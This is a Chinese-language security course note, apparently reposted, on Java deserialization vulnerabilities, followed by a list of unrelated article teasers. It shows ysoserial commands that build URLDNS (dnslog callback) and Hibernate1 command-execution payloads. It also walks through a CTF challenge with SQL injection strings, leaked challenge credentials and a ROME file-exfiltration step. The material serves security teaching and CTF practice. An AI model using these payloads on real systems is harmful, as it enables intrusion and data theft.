小迪安全47WEB 攻防-通用漏洞Java 反序列化EXP 生成数据提取组件安全

#知识点:

1Java 反序列化演示-原生 API 接口

2Java 反序列化漏洞利用-Ysoserial 使用

3Java 反序列化漏洞发现利用点-函数&数据

4Java 反序列化考点-真实&CTF 赛题-审计分析

#内容点:

1、明白-Java 反序列化原理

2、判断-Java 反序列化漏洞

3、学会-Ysoserial 工具使用

4、学会-SerializationDumper

5、了解-简要 Java 代码审计分析

#前置知识:

序列化和反序列化的概念:

序列化:把 Java 对象转换为字节序列(字节流)的过程。

反序列化:把字节序列恢复为 Java 对象的过程。

对象的序列化主要有两种用途:

把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;(持久化对象)

在网络上传送对象的字节序列。(网络传输对象)

函数接口:

JavaSerializable Externalizable 接口、fastjsonjacksongson

ObjectInputStream.readObjectObjectInputStream.readUnshared

XMLDecoder.readObjectYaml.loadXStream.fromXML

ObjectMapper.readValueJSON.parseObject

PHPserialize()unserialize()

Pythonpickle

数据出现:

1、功能特性:

反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数

据落磁盘、或 DB 存储等业务场景。因此审计过程中重点关注这些功能板块。

2、数据特性:

一段数据以 rO0AB 开头,你基本可以确定这串就是 JAVA 序列化 base64 加密的数据。

或者如果以 aced 开头,那么他就是这一段 java 序列化的 16 进制。

3、出现具体:

http 参数,cookiesesion,存储方式可能是 base64(rO0),压缩后的

base64(H4s),MII Servlets http,Sockets,Session 管理器,包含的协议就包

发现:

黑盒分析:数据库出现地-观察数据特性

白盒分析:组件安全&函数搜索&功能模块

利用:

Ysoserial工具利用


Ø 原生 API-Ysoserial_URLDNS 使用

Ø 三方组件-Ysoserial_支持库生成使用

Ø 解密分析-SerializationDumper 数据分析

Ø CTF 赛题-[网鼎杯 2020 朱雀组]ThinkJava


#java序列化和反序列化

具体代码:

package SerialTest;

import java.io.*;

public class SerializableTest {
    public static void main(String[] args) throws Exception {
        serialPerson();
        Person person = deserialPerson();
        System.out.println(person);
    }

    /**
     * Person对象序列化
     * @throws IOException
     */
    private static void serialPerson() throws IOException {
        Person person = new Person("xiaodi", 28, "男", 101);

        ObjectOutputStream oos = new ObjectOutputStream(
                new FileOutputStream(new File("d:/person.txt"))
        );
        oos.writeObject(person);
        System.out.println("person 对象序列化成功!");
        oos.close();
    }

    /**
     * Person对象反序列化
     * @return
     * @throws Exception
     */
    private static Person deserialPerson() throws Exception {
        ObjectInputStream ois = new ObjectInputStream(
                new FileInputStream(new File("d:/x.txt"))
        );
        Person person = (Person)ois.readObject();
        System.out.println("person 对象反序列化成功!");
        //Runtime.getRuntime().exec("calc.exe");
        return person;
    }
}

正序列化

符合数据特性中的aced开头

利用:当我们对序列化后的数据进行数据更改,构造出恶意代码,再放回去,便形成了反序列化攻击

#原生 API-Ysoserial_URLDNS 使用

由于Ys工具多半是针对原生类的,而现在大多数都是以组件的形式,格式可能不支持

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar

Serializable 接口

Externalizable 接口

没组件生成 DNS 利用:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://43x1nz.dnslog.cn" > urldns.ser

修改文件,将person文件换为a.txt载入使反序列化

相关的DNS收到其信息,说明其会进行反序列化并进行执行

#三方组件-Ysoserial_支持库生成使用

https://github.com/WebGoat/WebGoat

有组件生成 RCE:

将此文件库保存下来,进行引用

1、生成:java -Dhibernate5 -cp hibernate-core-

5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar

ysoserial.GeneratePayload Hibernate1 "calc.exe" > x.bin

进行本地执行计算机的命令

生成以ACED头的

而题中的要求要rO0AB 开头,故需进行base64加密

2、解码:python java.py

import base64

file = open("x.bin","rb")

now = file.read()

ba = base64.b64encode(now)

print(ba)

file.close()

成功

#解密分析-SerializationDumper 数据分析

在代码审计中或代码利用时判断是否成功——只支持十六进制

https://github.com/NickstaDB/SerializationDumper

java -jar SerializationDumper-v1.13.jar -r urldns.ser >dns.txt

#CTF 赛题-[网鼎杯 2020 朱雀组]ThinkJava

0x01 注入判断,获取管理员帐号密码:

根据提示附件进行 javaweb 代码审计,发现可能存在注入漏洞

另外有 swagger 开发接口,测试注入漏洞及访问接口进行调用测试

数据库名:myapp,列名 name,pwd

注入测试:

POST /common/test/sqlDict

dbName=myapp?a=' union select (select name from user)#

dbName=myapp?a=' union select (select pwd from user)#

0x02 接口测试

/swagger-ui.html 接口测试:

{

"password":"admin@Rrrr_ctf_asde",

"username": "admin"

}

根据题目中给的swagger的接口login,进行测试

发现,data里有反序列化数据,解密一下(base64解密java_bs.py+SerializationDumper解密

在接口current下,输入data数据

操作成功,且得知了是admin操作的,这就说明在序列化下存在admin的权限,且只有此功能存在了对序列化的读取才会知道有admin用户,故存在反序列化操作

利用原生类URLDNS进行测试

同时进行base64加密——Java.python——因为data里的序列化为rO0AB 开头

提交

有了,漏洞存在

获取flag

ROME:让对方的指定文件发送到指定地址中

成功监听

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/488053.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Echarts 利用多X轴实现未来15天天气预报

Echarts 利用多X轴实现未来15天天气预报 UI 设计图 Echarts 实现效果 代码实现 代码分解 echarts 图表上下均显示数据 通过设置 grid.top 和 grid.bottom 设置白天和夜间天气展示区域 grid: {top: 36%,bottom: 36%,left: 5%,right: 5%}, 天气图标的设置 由于 axisLabel 的…

SpringBoot学习之ElasticSearch下载安装和启动(Mac版)(三十一)

本篇是接上一篇Windows版本,需要Windows版本的请看上一篇,这里我们继续把Elasticsearch简称为ES,以下都是这样。 一、下载 登录Elasticsearch官网,地址是:Download Elasticsearch | Elastic 进入以后,网页会自动识别系统给你提示Mac版本的下载链接按钮 二、安装 下载…

C++ 简单模拟实现 STL 中的 list 与 queue

目录 一,list 1, list 的节点与迭代器 2,list 的数据结构、一些简单的功能、构造函数 3,list 的对元素操作 4,C 11 的一些功能 5,完整代码: 二,queue 一,list std…

织梦地方php分类信息源码带数据库【附下载】

织梦地方(DedeCMS)是一款基于PHPMySQL技术的开源内容管理系统(CMS)。它以其强大的功能、灵活的扩展性和友好的用户界面,成为了众多网站建设者的首选。 在功能方面,织梦地方CMS提供了丰富的模板标签和灵活的…

问卷调查数据分析指南!掌握方法,精准把握用户需求!

“我们可以用自定义报表、交叉报表、自定义过滤器等放方式进行问卷调查数据分析。“ 问卷调查的过程中,问卷设计、问卷分发、问卷收集可能都不是让我们最头疼的。经过几天的奋战,终于拿到了数据,但是问题也随之而来。收集上来的问卷信息&…

word文件如何转PDF格式?word转PDF的方法

在当今数字化时代,文档格式的转换已成为日常生活和工作中不可或缺的一部分。其中,将Word文档转换为PDF格式更是受到了广大用户的青睐。本文将详细介绍Word转PDF的方法,帮助读者轻松实现文档格式的转换,并探讨转换过程中的注意事项…

03-CSS盒模型(padding、margin、opactiy、cursor、display、css3前缀)

一、CSS盒模型 CSS 盒模型规定了处理元素内容、内边距、边框 和 外边距 的方式。最内部分是元素内容,直接包围内容的是内边距。内边距呈现了元素的背景。内边距的边缘是边框。边框以外是外边距。 1.元素的尺寸: height 设置元素的高度。属性值:auto&am…

用BI来做金蝶的数据分析,真能随时自助分析?

BI数据分析快的事,大家都知道,那用BI来分析金蝶ERP上的数据也很快,也能随时想怎么分析就怎么分析,想分析哪些数据就分析哪些数据吗? 用BI分析金蝶数据,不仅可随时自助分析,还可极大提高分析效率…

Nginx 内存池

目录 零、基本框架 一、基础结构 二、对外接口 三、函数实现 1、ngx_create_pool 2、ngx_destroy_pool 3、ngx_reset_pool 4、ngx_palloc 5、ngx_pnalloc 6、ngx_pmemalign 7、ngx_pfree 8、ngx_pcalloc 9、ngx_pool_cleanup_add 10、ngx_pool_run_cleanup_file…

Flask python 开发篇:上传文件(在指定目录下创建文件夹)

flask上传文件以及常见问题 一、flask文档上传文件的介绍二、上传文件的实现2.1、生成一个from表单,用来提交图片2.2、编写上传的逻辑 三、运行代码、以及常见异常四、写在最后 一、flask文档上传文件的介绍 Flask上传文件的文档介绍,文件上传的基本思想…

基于nodejs+vue的nuct产品售后管理系统python-flask-django-php

同时还能为用户提供一个方便实用的nuct产品售后管理系统,使得用户能够及时地找到合适自己的产品。管理员在使用本系统时,可以通过后台管理员界面管理用户的信息,也可以发布产品售后信息,让用户及时了解nuct产品售后信息。这样&…

web前端之3D标签动画、指定范围的随机数、动态设置css变量、文档片段对象、反向动画

MENU 效果图htmlJavaScriptstyle 效果图 html <div class"container"></div>JavaScript // 祝词 var words [健康码常绿,股票飙红,生意兴隆,财源广进,心想事成,永远十八,身体健康,大富大贵,大吉大利,万事如意,美梦成真,吉祥如意,鸿运当头,五福临门,吉…

uniapp的配置文件、入口文件、主组件、页面管理部分

pages.json 配置文件&#xff0c;全局页面路径配置&#xff0c;应用的状态栏、导航条、标题、窗口背景色设置等 main.js 入口文件&#xff0c;主要作用是初始化vue实例、定义全局组件、使用需要的插件如 vuex&#xff0c;注意uniapp无法使用vue-router&#xff0c;路由须在pag…

每日一练:LeeCode-200、岛屿数量【DFS递归+BFS队列】

给你一个由 1&#xff08;陆地&#xff09;和 0&#xff08;水&#xff09;组成的的二维网格&#xff0c;请你计算网格中岛屿的数量。 岛屿总是被水包围&#xff0c;并且每座岛屿只能由水平方向和/或竖直方向上相邻的陆地连接形成。 此外&#xff0c;你可以假设该网格的四条边…

生物信息—数据库

文章目录 核酸数据库1 一级核酸数据库&#xff1a;GenBank1.1 原核生物核酸序列1.2 真核生物成熟mRNA1.3 真核生物DNA序列 2 一级核酸数据库&#xff1a;基因组数据库&#xff1a;Ensemble3 一级核酸数据库&#xff1a;微生物宏基因组数据库&#xff1a;JCVI4 二级核酸数据库 蛋…

蓝桥杯练习07小兔子爬楼梯

小兔子爬楼梯 介绍 小兔子想去月球上旅行&#xff0c;假设小兔子拥有一个阶梯子&#xff0c;当你爬完层就可以到达月球&#xff0c;小兔子每次可以跳1或者2个台阶&#xff0c;小兔子有多少种跳法可以到达月球呢&#xff1f; 给定n是一个正整数&#xff0c;代表梯子的阶数&…

数据可视化基础与应用-04-seaborn库从入门到精通03

总结 本系列是数据可视化基础与应用的第04篇seaborn&#xff0c;是seaborn从入门到精通系列第3篇。本系列的目的是可以完整的完成seaborn从入门到精通。主要介绍基于seaborn实现数据可视化。 参考 参考:数据可视化-seaborn seaborn从入门到精通03-绘图功能实现01-关系绘图 …

在ubuntu22.04系统上用pycharm编写第一个ros2程序

1.打开终端&#xff08;快捷键altctrlt&#xff09;&#xff0c;创建工作空间&#xff0c;工作空间就是文件夹 2.创建一个功能包 打开pycharm的终端&#xff08;altf12&#xff09; 3.创建节点文件 在village_li文件夹右键新建li4.py 4.在li4.py编写代码 5.在setup.py里面添加…

http模块 获取http请求报文中的路径 与 查询字符串

虽然request.url已包含属性和查询字符串&#xff0c;但使用不便&#xff0c;若只需其中一个不好提取&#xff0c;于是用到了如下路径和字符串的单独查询方法&#xff1a; 一、获取路径 例如&#xff1a;我在启动谷歌端口时输入http://127.0.0.1:9000 后接了 "/search?k…

一文解释python中的实例方法,类方法和静态方法作用和区别是啥?该如何使用

我们都知道 &#xff0c;python类中有三种常见的方法 &#xff0c;分别是实例方法 &#xff0c;类方法和静态方法 。那么这几个方法到底有什么作用 &#xff1f; 它们之间有什么区别 &#xff1f;该如何使用 &#xff1f; 带着这些问题 &#xff0c;下面我们就来了解下这三种方…